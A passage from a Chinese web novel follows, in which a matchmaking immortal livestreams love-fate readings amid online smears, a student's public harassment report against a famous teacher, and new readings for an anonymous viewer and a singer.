顶着新改好的ID,文隽面无表情回到对话框页面,手指连点几下,回了个字过去。 【不是文化人:滚。】 然后,他直接送了对方拉黑屏蔽一条龙服务。 要把手机丢回乾坤袋的前夕,文隽脑海里忽然又浮现出刚刚看到的一句话。 砸那么多钱给狗…… 什么破比喻,她明明是只小鸟。 思路这么一打岔,文隽忽然又停下了放回手机的动作,他点开另一个社交软件,打开了其中一人的对话窗口。 【文:最近怎么样?】 …… 最近怎么样? 收到文隽的消息时,莺芝还没吃完晚饭。 她看着自己手机上的新消息,再看看义愤填膺开小号跟各路牛鬼蛇神对线的红线小人,稍稍思考了一下。 工作吗? 应该算是有点忙。 ……但业绩很一般。 明明已经很忙了,怎么业绩还是很一般呢……想到这儿,莺芝再看文隽的消息,就颇有种见了能够懂得彼此心路的难姐难弟的感觉了。 她打字: 【AA红线小莺:没达到预期效果。】 【AA红线小莺:还得再努力,共勉。】 明明莺芝算得上秒回,但对 面,文隽不知道是不是在忙,隔了将近一分钟,回复的消息才姗姗来迟。 【文:加油。】 外带了一个小喜鹊攥翅膀的表情包。 莺芝看了一会儿那个表情包,嘴角没忍住微微一翘,长按把它加入了收藏夹。 加油! 晚上的直播照常进行。 刚一到点,直播间开启的一瞬,大批量的观众便一股脑地涌了进来。 不过和之前想着来抢个算卦席位的情况不一样,这次到场的观众们里,有好大一部分都是为了昨天以及今天白天这两拨次的瓜来的。 甫一进入直播间,他们就开始刷林必珩和张逢期,密密麻麻占了一大屏。 而剩下的一部分观众里,除了莺芝的固定粉丝和观众,还有冲着今天看到的新瓜——关于莺芝的那部分瓜,才开始蹲守直播间的。 和前一波人一样,他们一进到直播间,也都忙不迭开始发弹幕询问给人家断错孩子的是不是她。 莺芝粗略扫过弹幕,对这些都不关心,也并不打算回应。 倒是有不少她的粉丝们站了出来,替她澄清和辩解着。 “大家晚上好,欢迎来到直播间,我是小莺。” 她说着一如既往的开场白:“职业月老,在线定缘,今天开放三位免费观缘的名额,有意向的观众们可以报名参与。” 也就是在此时,她的屏幕上,一排又一排的礼物特效刷了上去。 由于频率过高,整个画面都仿佛被遮挡,除了礼物提醒之外,什么也看不到。 礼物都是最低等的应援棒,但送礼人的ID就那样同一排地刷上去,夹在其中极为显眼。 [拜金捞女小莺还钱道歉] 莺芝:“?” 什么东西? 什么捞女,拜金什么,她怎么了? 很显然,其他的读者们也都被这一幕震惊到了。 不可避免的,大家的关注点和讨论点临时进行了又一次转移。 小莺是捞女? 拜金? 拜谁的金了? 这是在说什么? 镜头之外,红线小人整根线都僵住了,随后,它狂乱地抖了起来,气急败坏。 谁在污蔑它们月仙大人? 莺芝诧异地盯着那些礼物消息,略一思索,也知道了大概是谁在对付她。 估计又是那些人吧。 和跟踪她的那些,以及说她断错孩子的那些,是同一类的。 对此她早有心理准备。 不过这一次用的这种手段…… 对付一名没有什么信息资料、没有什么明确社会关系的女性,他们所能想象到的“对付”,就只有这样以私生活为切口,编造一些绯闻吗? 有点过于不入流了。 还是说,因为这样才是最简单有效的? 莺芝暗暗叹气。想不到凡间的这些人,行事风格仍然停留在过去的百千年里。 不过她并不打算回应。 为什么要为了没有做过的事而进行所谓的自证呢? 她又不是林必珩,张逢期那一类,证无可证却不得不证的。 平心而论,莺芝并不怕被口水淹没。 如果真要以这个来污蔑她,那还是先摆出证据再说吧。 最后无非也就是对簿公堂。 她行端坐直,问心无愧,不惧。 就像她虽然指出了林必珩和张逢期的事,但至今为止,“被锤死”的,也就只有林必珩一人一样—— 因为吴姝俪手握证据。 而至于张逢期,就算其他人再怀疑,也不能真的凭莺芝三言两语就给他定罪。 还得等,等证据。 反过来呢? 林必珩与张逢期两方,他们至多也就只能用目前这些腌臜的手段来报复、影响她,并不敢真的将她告上去。 因为心中有鬼。 这就是他们之间的不同了。 把如是这般的思绪丢到一边,莺芝看向镜头,继续今天的直播。 却见炫目的礼物特效再一次出现,比先前的还要更灿烂几分。 【[不是文化人]送出盛世焰火x5】 【[不是文化人]送出盛世焰火x5】 【[不是文化人]送出…… 一整排刷上去,满直播间的烟花特效轰然炸开,璀璨夺目。 【你到底说不说:我去,我以为谁呢,点开一看这不我们文哥吗,改名了啊】 【履行摸鱼职责:文哥威武!用钱砸死这些臆想狂!】 【骂谁二次元呢:给我们小莺泼脏水都只舍得送应援棒,死抠货,谁能捞你?】 【晚间生物:还以为我迟早能成为榜一,现在看来……唉,估计拍马难及了。那我也来补几个吧。】 【[晚间生物]送出盛世焰火x1】 【[晚间生物]送出盛世焰火x1】 【[晚间生物]送出珠光宝玉…… 已经可以堪称是光污染的屏幕中,顶着氪金后高亮特效的ID再一次出现。 【不是文化人:有卦的算卦,吃瓜的吃瓜,不要打扰主播直播,闲话少说。】 【履行摸鱼职责:文哥说得对,来看直播就看直播,扯什么有的没的——还我们小莺捞他们,神经病啊?小莺这么优秀他们也配YY?】 【给予她温油ma:普男死前的梦。】 【我真没有QAQ:主播,我想问问你给张逢期算的那一卦,他和女孩们缘线交缠,那女孩那边你能算出来详情吗?】 【你到底说不说:笑死,QAQ又来参加玄学交流大会了。】 …… 有了榜一的大手笔清屏,直播间的讨论一下子就断了层。 随后,相熟的观众们嘻嘻哈哈,弹幕区的氛围就这么被拉回了正轨。 转折不可谓不神奇。 莺芝轻轻一抬眉。 那位榜一说的话……还挺合她胃口的。 什么都不提,就只说不要打扰直播—— 可不么,她在意的确实就只是这个。 直播继续! 第52章 girls 这几场舆论风波在网上闹了好些天。 沸沸扬扬。 这些天里,基本上每次打开某软件,都能在榜单上看到几个名字:林必珩,张逢期,小莺。 青年演员多线操作且迷煎少女、老艺术家婚内出轨又和学生们不清不楚还有私生子,新晋网红疑似骗子外加和金主大哥暧昧钓鱼……这些看起来本不该有交集的几件事,偏偏有一个交叉点——某个主播。 或者说,某个当事人。 她的身影出现在了所有事件里。 所以,就有吃遍了这几个瓜的网友闲着没事调侃,把这几件事汇总在了一起,称其为“小莺事变”。 至于《家远方》直播的那一天,则被立为了小莺事变的初发日。 这个看似离谱的玩笑说法一经提出,就被许多人迅速接纳,并人传人地开始使用了起来。 说的人多了,渐渐就也不离谱了,反倒成了被默认的东西,演变成了一个可以拿来当典故的“梗”。 还有一些人说,小莺事变给这个一潭死水、除了粉丝打架以外就是纯人机AI的内娱,增加了许多的活人气儿。 不仅带给了各大营销号数不尽的热度和流量,给路人提供了相当充裕的下饭菜闲聊话题,同时还让粉丝们警醒,明星们竟然还有这么些个塌房方式。 只有想不到,没有他们做不到。 别的都不说,就只说林必珩—— 搁以前谁能想象得到,一个二十出头的青年能离了那档子事儿活不了、活脱脱一个凭原始本能生活的牲口? 网友们:现在想象得到了,还亲眼见到了。 而作为引起这场舆论风波、惹得“内娱动荡”的罪魁祸首,莺芝无疑身处风暴最中心,但她的生活却是一如既往的平静。 仿佛没有被这些东 西影响到哪怕一丁点儿的心情。 吃饭,去庙里,工作,直播。 按部就班到了枯燥乏味的地步。 但她本人受用良好。 不仅能面不改色无视一些找事儿的弹幕,甚至对时不时就会出现在周遭、不远不近跟着的那些人们也都可以假装不知道。 再把话题绕回去,最开始出现的那所谓被她误判孩子亲缘关系、被她脚踩多条船狠狠捞金的金主,在她这种漠然的冷对待下,也渐渐地收起了一些气焰,不再那么嚣张。 只不过他们仍然一口咬死了莺芝的“恶行”,要求她公开道歉。 但也就仅此而已。 从头到尾,都没有任何一方主动地从私下里联系过她,向她提出道歉赔偿的具体要求。 似乎他们只敢在互联网上下战帖,居高临下地叫嚣——也并没有多么期待能够“解决”事件。 好在互联网的记忆是很短暂的。 这些个话题在热搜榜霸榜了多天后,不可避免地开始往下掉排名。 终于,在话题热度逐渐走低,快要被网友们遗忘在互联网史书里的时候,又一条动态出现,直接引爆了已经趋于平静的网络。 【我是x大xx级表演系学生杨其梨,我实名公开举报,导师张逢期骚扰猥亵学生,逼迫学生就范】 轰—— 社交平台当天就直接爆掉了。 喜欢上网冲浪的人群里,毫无疑问,学生党们占了相当大的一部分。 那么身为学生,看到有学生说在学校里被自己的老师猥亵骚扰——这种事情简直不要太能有代入感。 共情杨其梨所述内容的结果,就是他们看见张逢期的照片就想吐。 杨其梨在动态里说,张逢期当时担任她的指导老师,但却总在非上课场合、私下里与她进行对话,询问的也都是一些无关课业的东西,比如吃了什么喝了什么睡了吗。 她觉得这不太正常,所以开始经常避开对方,有时看到了消息也只当看不到。 张逢期察觉后,直接以课业成绩为饵开始了威胁,当然,言语间也会透露出一些如果她敢把这些事情透露出去,就如何如何的意思。 杨其梨无奈,只能压住自己的不适,勉强无视对方带给她的负面情绪。 毕竟,学还是要上的。 可事情的发展正如所有人都知道的那样,退让果然并不能带来理解,只会让对方无所畏惧地变本加厉—— 接下来的时间里,张逢期越来越频繁地找她,一头热地在社交软件上说一些极度不合适的话,比如评点她当天穿的裙子太短、化的妆太浓,新染的发色太妖艳云云。 再往后,他不满足于这样简单的言语骚扰,开始往肢体发展—— 表演课上,借上课教学的由头隐晦地和杨其梨进行肌肤接触,课余,他偶尔来到学校时,也会叫杨其梨一个人去见他。 地点或是办公室,或是酒店,又或是其他地方。 杨其梨不堪其扰—— 不敢见,又不敢不见。 她本就性格内向,没有什么朋友,现下又摊上这样的事,面对身体精神的双重骚扰和压迫,她完全不知道能跟谁诉说委屈,也不知道能找谁帮帮忙,支支招。 最终,却也只能把这些情绪都自己咽下去。 她真的担心害怕,担心张逢期会像他说的那样,给她挂科、害怕他会一气之下让她退学。 午夜梦回,杨其梨没少偷偷哭湿枕头。 也正是这份胆怯和软弱,让她没能像吴姝俪一样,在“小莺事变”发生后就立刻站出来,为自己发声,为自己伸冤。 杨其梨一直在抉择,在犹豫。 如今选择站出来,是因为在学校的“杂七杂八墙”上看到了有女孩发问,问本校有没有人和她一样,被张逢期在课堂上骚扰过—— 那条动态是个吐槽的树洞动态,洞主是别的学院的学生,吐槽之前选修张逢期的课的时候,感觉他好像在摸她。 原本她觉得自己是多想了,这么一个德高望重的老艺术家,怎么会摸她呢?没准是自己太敏感。结果最近的瓜太热闹,她跑去吃了两口。 这一吃不要紧,看了小莺直播的切片,她突然就醒悟了,后知后觉地意识到:真的不是多想,自己是真的被骚扰了。 但只是被摸摸碰碰而已,完全没有证据,不然就去举报了,也算为民除害。 洞主很郁闷,郁闷地来吐槽了。 看到这条树洞的当时,杨其梨整个人就呆住了。 她万万没想到……就在她的身边,就在她的学校——有别的女孩,和她一样,被这个禽兽欺负了。 那个叫做小莺的主播说得原来都是真的。 ——受害者真的不止她一个! 意识到这一点,杨其梨突然就横生了一股莫名的勇气。 她觉得自己不能再软弱了。 哪怕不为了自己,而是为了别的被欺负的女孩们呢? 如果自己再沉默下去,等这件事的关注度落下,那张逢期就彻底逃掉了。 不能这样下去了。 哪怕她真的会因此被大家指责不检点,指责勾引老师,被千夫所指……哪怕她真的会因此而丢掉好不容易得来的学习机会,因此被退学,因此背上耻辱的烙印—— 她也得让大家知道,他是个什么样的人。 从而保护那些将来有可能会被他欺负的女孩儿们。 这样的不幸,就止于她一拨吧。 所以杨其梨站了出来。 和吴姝俪那时一样,杨其梨公开实名进行了举报。 她也当然不可能跟莺芝似的,只凭一张嘴就在这儿说。 她附带了证据。 一些张逢期和她聊天时的截图,以及一小段录音。 截图都是像杨其梨所说的那样,活脱脱一个猥琐男骚扰年轻女性的缩影集合。 网上见过的恶臭男人能有多离谱,他就有多离谱,行径只带多、不带少的。 而录音作为证据来说,指向性和证明性就更明确了。 它的时长只有短短的十几秒,点开后声音很杂,并不清晰,伴随有一些莫名的窸窸窣窣,但不影响分辨其中的内容。 杨其梨说,这是她在某次被要求去私下里找他时偷偷录的,用的是藏在兜里的小型MP3——因为手机会被他管控,每次见面他都防着被拍照和录音,所以没办法用手机。 她尝试过好几次,只有这个MP3,因为太古早太落后,又只有小小的一枚,看着像是上世纪末那些只能插内存卡听歌的原始设备、完全不像是还能有录音功能的,所以才侥幸成功一次。 录音里,有一男一女两道声音: “我说过多少次了,不许再穿这么短的裙子,连小腿都盖不住——穿这么yd是勾引谁?” “老师,我没……” “噢?你想穿给老师看,卖弄风骚给老师看啊。” …… 如果不知道是谁在聊天,光听内容,还以为是情侣调情。 可这是杨其梨放出来的录音,身份已经近乎直白地袒露。 更何况男的那个声音虽有些模糊,却也能辨认出来是张逢期。 那些原本还不信张逢期能做出“婚内出轨”“有私生子”的网友们,这下也都彻底老实了。 这证据都放出来了,容不得不信了。 所有人的话题都开始转变。 ——张逢期竟然这么恶心? 不仅仅是婚内出轨,出轨的对象里还包括了他的学生。 xsr学生,xq学生。 要了大命了。 冲浪的学生党们忍不了了,于是大家又都开始联名表态,请求有关部门以及学校严查这件事。 莺芝的直播间里,也有许多人在聊这个。 聊张逢期总算是被锤了,聊主播果然是神机妙算。 【说那么多,这么神奇的主播什么时候算第三卦?】 【帮我算算我能不能追到女神呗!】 第53章 “我算不出” 随着如此有说服力的证据出现,张逢期在广大网友视角里,和被“实锤”也没什么区别了。 而同时到来的,就是莺芝的“风评”被扭转了许多。 先前持中立态度的那部分倒还好,他们只是观望,并不帮任何一方说话。 但绝大部分人站的都是张逢期、坚信张逢期这位老艺术家是被污蔑的立场。 在有心人的特地带动下,这部分人没少对莺芝进行全方位的攻击——从质疑专业能力开始,到人品到素质到道德,都被拉出来diss了一通。 说是网络暴力也不足为过。 也得亏是莺芝,要是换个其他的人来,说不定就会被这样规模的网暴给弄出什么疾病了。 虽然也有维护莺芝的人,但整体数量上,总归比不过有暗部势力加入、暗中推手推动,铺天盖地的指责。 在杨其梨壮着胆子把这事儿甩出来后,这场一边倒的“战局”才算有了转机。 即便由“有心人”和“蠢货”组成的联盟仍然在坚定不移地攻击莺芝,却被陆续有中立人士下场的维护群体给挡了回去。 越来越多的人开始相信,这个主播是真的有本事,并且不畏钱权,不畏资本和势力,只为了给无辜的人们伸张正义,所作所为,都源于她那极其浓烈的社会责任感。 所行所思,都是为了“让世界充满爱”。 在这种强烈责任感的驱使下,她明知道手里没证据旁人会不信,也宁可顶着各式各样的眼光、背负千奇百怪的责骂和质疑——坚定地揭露那些“人性的黑暗”。 甚至不要算卦者的哪怕一毛钱! 连“回报”都是只要对方去庙里上香。 对,上香。 多离谱的要求啊对不对? 明明她这样厉害的“卦”,真真是千金难求一卦啊。别说千儿八百块的了,就算要五位数打底、六位数起步,七位开算也不为过的。 她能是图那点香火吗?她明明就是借此抒发自己的善心,知道自己的卦别人买不起,所以在用这样的形式不露痕迹不揭短不尴尬地帮助那些受害人! 这得是多么伟大的一个人,多么伟大的一些事啊! 完全跳脱出了“俗人”的范畴。 是[大义者]。 也就是莺芝不知道他们这说法,不然恐怕是要具现什么叫“无奈扶额.jpg”了。 而亲眼目睹了“小莺研究学”的学者们在直播群里五千字打底的聊天分析,文桐已经在工位上笑翻天了。 她收回落在手机上的视线,半撑起身,视线越过重重书卷堆出的小山,望向和她位置有着相当一部分距离的文隽,果不其然也看到了微微耸动的肩膀——肯定也在偷笑。 她重新坐回去,用手捧住脸,低下头无声地大笑着。 太可乐了。 还社会责任感。 这位女士的社会责任感不知道能不能算得上“强烈”,但说来你们可能不信—— 她确实很图那点香火。 在推广姻缘殿影响力的大基础上,努力地赚香火提高业绩。 就是这么的朴实无华,就是这么的“俗”。 想不到吧? 哎哟,真的好可爱的一个仙子。 文桐乐完,又捧起自己的手机,眼看时间差不多了,也后台聊天软件,挂进莺芝的直播间。 她现在不去文隽那里抢了,自己也注册了一个,特地去挂了凡间的线路—— 虽说一边上班一边看一位“事业心”极重的同僚工作,有不小的会被卷到的几率,但架不住这位太可爱了啊。 她在文隽那里看过几次后,就也没忍住,去弄了个账号。 实测证明,工作的时候当个背景音听,真的能让枯燥无味的工作多出几分趣味,是绝佳的调剂! 眼看今天的直播间弹幕一边倒,几乎全在惊叹莺芝的“算卦”技术,又看大家闹闹哄哄嚷嚷着今天的卦更难抢了,两次都没抢到机会,文桐也乐颠颠凑了个热闹,跟着刷了几句。 屏幕里,穿着简单长裙的年轻女性视线慢条斯理扫过偏下方,噙着她标志的笑容,温声温气开口: “接下来,今天的第三次算卦名额开放,连线权限即将打开,请有意向的观众们做好准备……” 文桐手指动得飞快,飞快地跟队形扣出“准备好了”“快点吧”“今天必定是我”的字样,然后在弹窗出现的一瞬间,随手点了一下。 下一秒,她呆住了,眼睛不可置信地瞪大。 【恭喜您,抢到了和主播连线的机会。】 【主播正在向您发起连线邀请,请问是否立即加入?】 …… 莺芝熟门熟路地操作着直播间的功能,开放连线功能,发布提示、选定、邀请。 ……嗯? 这人的ID—— “加班加到死……真是个好ID啊。”她由衷感叹着。 闻言,弹幕上,直播间观众们纷纷发出了代表着不敢苟同含义的“?”“人言否”成片成片地飘了过去。 莺芝在心里干咳了一声,明智地绕开了话题。 “请问这位[加班加到死]在吗?” “如果在的话,请在一分钟内做好准备,加入连线……不在的话,那我们就要重新开放名额的筛选了。” 话音落下的一瞬间,对方接受邀请,加入了连线。 屏幕的另一半,被一个漆黑的画面填充。 没有人影,没有画面,也没有声音。 莺芝留意到,对方小屏幕的下角,代表麦克风的图标上也还打了个红红的短线。 ——对方关闭了画面,关闭了声音。 这…… 是不想被其他人认出,不想暴露自己吧? 莺芝心中了然,十分善解人意地点了点头,转去打开了后台。 果然,对方通过私聊找到了她。 【加班加到死:主播,我不算自己,算家人行不行?我觉得你肯定行。我把我哥资料发你,你帮我算算我嫂子在哪,或者给我哥牵个线。】 莺芝念了一下这条消息,略作沉吟。 从对方的话里可以看出,对方的这个“哥”目前应当是单身。 那现在对方的诉求就是:通过对方的缘线,为他/她的亲属查看一下正缘的方向。 而且这个“亲属”关系不是夫妻,只是手足。 就像之前直播间有人问能不能根据自己八字算爸妈姻缘一样……肯定是不行。 要想这样来“算”别人,必须给出更详细的资料。 但如果资料够用,那……虽然有点麻烦,也勉强能用她的职权查看一下。 莺芝思考了一下,同意了: “可以。” 对方很快发来了信息。 没有名字,只有她的照片和八字,以及她那位“哥”的八字。 看到这些内容,莺芝眉心微微一叠。 直播间里向来说的都是要求姓名生日以及照片,但这次这个女孩给的信息也太少了,不仅自己的没有姓名,连她哥哥的姓名和照片也没有。 ——够用。 可虽说够用,但却是卡在“及格线”边上的。 照片和八字能够让自己把目标锁定在她的身上,既然锁定了她,那自然也能看到她衍生而出的亲属们的缘线。 然后再利用八字,从而让自己进一步锁定她的兄长的缘线是哪一条。 完完全全卡在够用的边边上。 最大限度地保证了隐私的低泄露,以及信息的高准确。 这是巧合,还是对方也很懂所谓“玄学”? 莺芝拿不准。 但也不打算拿准。 对方是什么样的情况和状态,她不在意,她只用算卦就行了,对方不想暴露更多,她也不会深挖,给的资料够用就行。 她皱眉,皱的是这个八字。 从给出的八字来看,这兄妹俩…… 年纪可都不小了啊。 这么往前一轮轮翻,那得是百岁都刹不住底儿的。 真的假的。 难道是在考验她? 还是给了个“历史人物”的资料? 但看照片,也不像,发式打扮像是现代的人。 不过,也无所谓。 对方要是胡乱给一个,那证明也不是很想算这一卦,不在意结果,她只要做好自己的事就行了。 于是乎,直播间的所有观众们,就都看到主播把资料记录了下来,然后闭上眼,开始熟悉的掐算环节。 但奇怪的是,这一次的掐算时长,比任何一次 的都长。 长得有点离谱。 【什么情况,小莺这是又算出来什么惊天大瓜了?】 【上一轮吃瓜大会还没彻底结束呢,新的就又要来了?】 【主播你别不出声啊,你不出声我紧张。】 【小莺这个沉默,让我忍不住开始期待了啊,感觉会是个不一样的结果。】 …… 正当大家各有猜测时,备受瞩目的莺芝终于睁开了眼。 她脸上笑容微微敛起,有了一丝凝重。 “你这个情况……” 【加班加到死:什么情况?】 “……”莺芝微妙地停顿了一下,而后,慢吞吞地摇了摇头,“我算不出。” 【???】 【什么情况!?小莺都算不出的?】 【我kkkk,啥意思?】 【难道是乱编了点信息,误导小莺来的?】 【我以为是个惊天大瓜,结果是来砸场子?】 …… “不,不是的。” 不等加班加到死自己出面解释,莺芝就率先开了口。 “我算不出,不是说她给的信息有误,是指她要算的内容,没有结果。” 【没有结果,是什么意思?】 【这位姐妹,你能不能说一下你算的是啥啊?】 【没记错的话,刚刚小莺说,这位加班姐算的是她哥的姻缘吧,小莺这个意思……】 【加班加到死:——果然啊,我就知道这厮没姻缘!】 【?】 【不是,姐妹,你是你哥仇人转世?】 【哈哈哈哈哈绝壁亲兄妹了】 【笑死我了兄友妹爱啊这是】 【哥哥:听我说,谢谢你:)】 …… 莺芝:“……” 饶是她,也被这互动给震了片刻,不知道该作何反应。 是的,她观缘的结果就是,对方没有[“姻”缘]。 但这个没姻缘……莺芝觉得,很大程度上是自己的失职。 这种情况一般分两种,一种是对方命里就是没有姻缘,另一种就是观缘者的道行太低,看不到。 第二种最常见,比如一个初接触观缘能力的新人,就看不到功德远超自己的人的“缘”,或者凡人无法看到仙神精怪身上的缘。 但莺芝身为姻缘仙,司掌天下姻缘,就算是比她身份地位高再多的人或仙,只要同处这片天地下,受天地规则约束管控,哪怕是天君殿那些世间的管理者们,亦或财神殿的财神爷,这些人的缘,她也都能看到。 所以自然不可能是第二种情况。 但要是前者…… 前者除了这人这辈子确实没姻缘命以外,还有一种具体的情况,就是对方姻缘的“契机”还未到。 也就是指,这人的红线还没有跟命定之人牵上—— 命里没有缘的人,想要有缘,除了自行努力发展外,还有一种方式,就是姻缘殿出手,用姻缘殿的红线,佐以姻缘簿点缘笔,来帮助对方制造“缘”。 毕竟世间总有些人生来就是各种亲缘淡薄——天庭的神仙们差不多有一半都属于这一种。 但论整体人数,有大基数在那里,还是比不过凡间。 而处理这些仙和人的各类“缘”,就是送子殿姻缘殿等这些部门的工作了。 神仙们有需求会来找姻缘殿,至于凡人的话,就得姻缘殿主动介入了。 该送孩子的送孩子,该送对象的送对象。 莺芝平时在直播之余,处理的工作中,就有一部分是给这类人补缘牵线。 考量筛选群体和目标,为他们牵线,搭出可以跨越重重困难的缘分之桥—— 世间婚姻万万千千,偶尔才会有那么一对的贫富地位权利等方方面面差距过大、但就是意外搅合在了一起,且还意外合拍的人……差不离就是这情况了。 除了真正的钉子户,有了姻缘殿的介入,大部分人都还是能在漫漫的生命中拥有那么或长或短的一段缘的。 莺芝认为,这位“加班加到死”的哥哥,或许就是这种人。 是她还没顾得上帮忙牵线的那一部分人,之一。 这么大岁数了,还没牵上线…… 莺芝心里汗涔涔的。 果然,自己还需要磨练和努力。 上任少说也有几个月了,对于前任姻缘仙留的工作竟然到了现在还没能处理完毕—— 工作效率太还是低了。 工作方式也有很大问题。 都没能想到先从岁数大的开始补起,单纯地想着年轻人群体大所以需要处理的也多,太片面了—— 这不现成的工作失误就出现了么? 这么大岁数的“漏网之鱼”都还没能有着落! 惭愧,惭愧至极。 心中羞愧,莺芝对“加班加到死”那位哥哥便也更加同情起来。 “他至今单身……” 她犹豫了一下,才犹豫着继续。 “……也不是他的错。” 【加班加到死:没事的,你不用替他说话,我还能不知道他?】 【加班加到死:他该!】 莺芝:“……” 素未谋面的陌生人,真的很抱歉。 让你寡了这么久,还要被亲人误会。 她斟酌道:“牵线的话,我没有办法单方面进行这种事……这样吧,你私下里联络我一下,或让他私下里联络我一下。” 这种情况,已经不是寄一根红线过去就行的,还得她亲自见到人,了解详细的情况,亲自在姻缘簿上为对方添上这段缘,或为他和合适的人牵上线。 虽然说不该额外主动照顾某位凡人,但毕竟是她工作失误在前,也算是她的补救了。 【加班加到死:啊……这个……】 【加班加到死:这就不用了吧……】 莺芝有些失语。 怎么就不用了? 你哥单身了那么久,又不是其他来算卦的那种,受过情伤的,为什么不需要姻缘啊。 是不信她的能力吗? “……免费的,不要钱。”莺芝补充道。 “也不用你们跑,我去找你们就行,路费花销全部自负。” 这态度让弹幕又是一顿轰然。 为了这么个“算不出”的姻缘,小莺竟然肯做到这种地步! 宁可自费去找网友也要替她哥解决这个问题。 果然是心怀大爱啊!! “……”文桐被迫陷入了沉默。 她自然看出来了,这姻缘殿的仙子估计是觉得自己在怀疑她的“职业素质”,但问题不是这个啊。 对对方的能力,她当然是深信不疑的,毕竟这可是天地规则赋予的能力,问题是—— 她不敢啊! 她可是背着那个死鬼哥偷偷来玩的! 她也知道,这仙子跟她那哥哥认识。 哪敢在两边都不知道的情况下暴露? 【加班加到死:没事,等以后缘分到了,我会找你帮忙的!】 莺芝还想说什么,但看对方又从私聊里发来了联系方式——完全不像是“怀疑”,倒像是有什么难言之隐。 她便也同意了。 “那等日后有需要,可以随时找我。” 【加班加到死:没问题!】 弹幕的哗然下,这卦总算是结束了。 对于大多数观众来说,这一卦都有种窝里窝囊的憋屈感。 没吃到瓜,甚至也没听到什么感情纠葛,连那个算卦人的样子和声音都不知道! 怪难受的。 好在莺芝似乎也知道。 感受了一下灵力,她沉吟片刻,在所有人习以为常刷着的“再来一卦”中,点了点头。 “今天再加一卦。” “请各位做好准备……” 刷是刷了,但每次还不是没结果 地就结束了? 谁也没想到,明明每天都在刷,今天还真给加了——绝大多数人都还没反应过来的时候,名额已经被抢走。 “——[华晓识]” 第54章 还要说吗? 直播间里观众数十万,没人想到莺芝真的会开了口子,同意再加一卦。 所以在莺芝开放连线权限的档口,许多观众根本还没反应过来她刚刚说了什么,都还在吵闹起哄,完全没顾得上去抢。 而等彻底明白过来时,已经来不及了。 机会早已消失。 屏幕的另一边,已经有新的观众出现,施施然占据了这一片位置。 【啊啊啊啊我是不是错过了这辈子最近一次接近小莺算卦的机会!】 【死手,为什么不能凭本能抢啊!快动啊!】 【不对啊这个连线观众的ID我怎么觉得这么熟悉呢……】 【我去华晓识!是华晓识!】 【《家远方》里的那个!那个歌手!】 …… 直播间的氛围被这个新出现的人又一次带起小波高潮。 被一分为二的屏幕上,莺芝居于右侧,另一边,是一名身穿居家服的女性,她坐在沙发上,气质温婉,样貌和柔。整个人看上去并不是特别年轻,却也不显岁月痕迹,也就三十岁的样子。 当那张不含一丝攻击性的脸庞出现在画面里时,许多人都感到了熟悉。 即便不认识她,不熟悉她的ID,也不可避免地会觉得“好像在哪里见过她”—— 直到有人在弹幕点出她的名字,又聊起她的相关事情,所有人才恍然大悟。 这些天里闹得沸沸扬扬的瓜们,小莺事变的出处,那场来自《家远方》的直播,网络上传出的视频切片中,可不就正有她的身影么? 不是华晓识又是哪个。 没想到能在这里见到她,莺芝也有些诧异,略略带了些疑惑地看向屏幕,打了个招呼: “你好。” 一段时间不见,华晓识依旧是那副腼腆的样子,笑的时候微微垂下眼睫,整个人好似比水还要温吞。 “好久不见,小莺。我……我突然出现在这里,没有吓到你吧?” 【小莺吓到没吓到我不知道,反正我吓到了】 【妈呀怎么突然来了个明星,没记错的话这姐唱过好多电视剧的ost吧?就这么突然开始走到台前来了?还走到网络直播间来了?】 【华晓识原来也在小莺直播间潜水啊……哈哈,这么一想明星和我也没什么区别,都在同一片天空下呼吸同一个世界的空气看同一个主播下饭】 【醒醒好嘛华晓识明显是在蹲小莺的直播,从上次家远方的直播就能看出来了,她有卦想算】 【我记得,在华晓识是不是快结婚了啊?】 【噢~~~~】 【懂了哈哈哈】 …… 华晓识似乎也看到了弹幕上大家的起哄,神色更显窘迫。 不等莺芝回应,她就又一次开了口,语速也快了不少: “是这样的……我上次就很想找你来帮我算卦,但没想到一直没能找到机会……当时录制结束,我去找你的时候,易姐说你已经离开了。所以我就来直播间等你了,不过你的直播热度实在是太高了,我这么久都没能抢到机会……” 说到这儿,华晓识自己似乎也觉得身为一个公众人物,这么堂而皇之地出现在别人直播间里,还说这些话、确实不大合适。她有点不大自在地挪开了一下视线,随后很快又移了回来,虽然忐忑,但却没有退缩地和莺芝对视。 “终于在今天有了这个机会……嗯,看还有这么多观众没能抢到,我似乎……也挺幸运的。” 莺芝温和地笑了笑。 有人愿意找她算卦,就是她下来的意义啊,如果不是灵力受限,她每天能摆摊出来算一百卦——这都是业绩,永远不嫌多啊。 更别说还是华晓识这样,虔诚的、期盼的,满心等待着她伸出手的人了。 这是她这位姻缘仙的价值所在。 莺芝很高兴。 反映在外在,那就是她的笑容更加情真意切了。 “好啊——既然这么巧,能让我们在此时此刻以这样的形式重逢,那看来就是缘分让我来为你算这一卦的。” 华晓识欣喜:“那接下来……” 她记得,在《家远方》直播时,小莺只面对面看着林必珩和张逢期,就能算出他们的情况。 但在小莺自己的直播间里,却需要姓名生日照片这些。 那自己这次…… “是要发送我的个人信息给你吗?还是什么别的——” “不着急。”莺芝温声,“你先告诉我,你要算什么?算你自己,还是和刚刚那位观众一样,算她的哥哥、也就是自己的亲人朋友?” 联想到刚刚那位一点没露的黑屏朋友,华晓识了然。 她略略思忖了片刻,声音放得有点轻:“我想……” “……算算我和我未婚夫的婚姻……可以吗?” 说完这么一句简单的内容,她的耳朵已经烧红了,整个人都有点不大敢直接面对镜头。 许多观众都忍俊不禁。 纷纷调侃起她来。 【这位姐姐也不小了,怎么这么纯情的啊,说个男朋友都会不好意思。】 【好可爱啊啊啊姐姐男人不值得你看看我吧我喜欢你的声音!】 【难怪华晓识唱了那么多歌,人也长得漂亮,但愣是没啥名气……像她这样的,估计没法在镜头前自在吧,糊也是命】 【脸皮薄怎么了,歌手靠声音吃饭又不靠脸皮,只要唱歌好听,就不怕没饭吃】 【做个幕后的创作者也挺好的,而且看她这个脾气,等结婚之后,估计更不怎么在人前出现了】 【听说华晓识之前有过一段,现在这个是第二任。】 【一夫一妻一孩子一小家,温温馨馨也挺好,没准这就是她的追求呢。】 【华晓识看着就是个很美好的人,算是到目前为止少有的我不想看到被拆散的一对……希望她能得偿所愿吧。】 【祝福。】 …… 听了华晓识的回答,莺芝点了点头,不置可否: “那私聊我你的个人信息吧,如果想要准确一些,可以把那个人的个人信息也提供一些。” 华晓识“嗯嗯”了两声,迅速把所需要的东西发送给了莺芝。 “我其实是结过婚的……但是只是领了证,还没来得及办婚礼,他就意外离开了。” 